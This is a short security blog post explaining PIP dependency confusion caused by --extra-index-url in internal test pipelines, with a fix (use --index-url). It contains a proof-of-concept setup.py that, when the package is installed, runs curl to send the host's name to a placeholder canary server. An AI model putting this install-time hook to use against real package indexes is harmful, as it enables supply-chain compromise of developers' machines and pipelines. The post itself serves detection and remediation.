Offensive Security

Pwning your test engineers and their test cases with PIP dependency confusion

Jacob Sandum

Jacob Sandum

— 2 min read
TLDR: Look for “ — extra-index-url” in your repositories. If you find any internal PIP dependencies installed with that parameter that are not already on PyPI, you’re probably vulnerable to high risk dependency confusion.

I highly recommend looking for PIP dependency confusion vulnerabilities, especially in internal test systems. These test systems are often ignored in security reviews because they’re deemed as internal use only. But, they can easily be vulnerable to dependency confusion exploits. For example, let’s imagine you have an internal test framework in a repository called internal_tests.

In internal_tests, you have a Dockerfile which is used to spin up a Docker image that runs a bunch of Python tests against your REST APIs. You also have an internal Python package called my_internal_python_tests where all the internal test utilities are developed. Like, how to connect to your weird authentication system or test a specific nuance of your application. This internal Python package is only listed on your internal PIP index, located at http://internal-pip.

To install the internal Python package, you run pip install in your Dockerfile, using a requirements.txt file that’s in internal_tests which lists my_internal_python_tests as a dependency.

Dockerfile snippet:

RUN pip install -r requirements.txt --extra-index-url=http://internal-pip

requirements.txt snippet:

my_internal_python_tests==1.1

Unfortunately, this setup leaves you vulnerable to high risk dependency confusion. The parameter “ — extra-index-url” is not considered safe in this setup, as it will check both your internal PIP index and the public PyPI PIP index for the package name (hence why it’s called extra). If it finds the package on both indexes, it will install the version with the highest version number. So, if an attacker figures out the name of my_internal_python_tests, sees that it is not listed on PyPI yet, and uploads a malicious package to PyPI with a sufficiently high version number matching the name my_internal_python_tests, they can trick your internal test system into installing and running the malicious Python package. In this case, the attacker could compromise the docker image with malicious Python code. Furthermore, if a developer runs the tests on their own laptop manually, it could result in their development device running the malicious Python code and being compromised.

To create a POC for this vulnerability, one can upload a package called my_internal_python_tests to PyPI that contains the following setup.py:

from setuptools import setup, find_packages
import os

hostname = os.uname()[1]
if not hostname:
    hostname='failed'
os.system('curl http:/<canary-server-address>/setup-' + hostname)

setup(
    name='my_internal_python_tests',
    version='999.1337',
    author='Jsandum',
    author_email='email@email.com',
    description='testing supply chain attack',
    packages=find_packages(),
    classifiers=[
        'Programming Language :: Python :: 3',
        'License :: OSI Approved :: MIT License',
        'Operating System :: OS Independent',
    ],
    python_requires='>=3.1',
)

This package will run the command

curl http://<canary-server>/setup-<hostname>

whenever the package is installed with PIP. So, if one receives an HTTP request to their canary server like

"GET /setup-jsandum-devops-server HTTP/1.1" 404 -

Then one has exploited the dependency confusion vulnerability and injected arbitrary Python code into their testing pipeline.

To fix this issue, “ — index-url” should be used instead of “ — extra-index-url”. “ — index-url” only checks the internal PIP index, instead of both the internal and PyPI.

Read more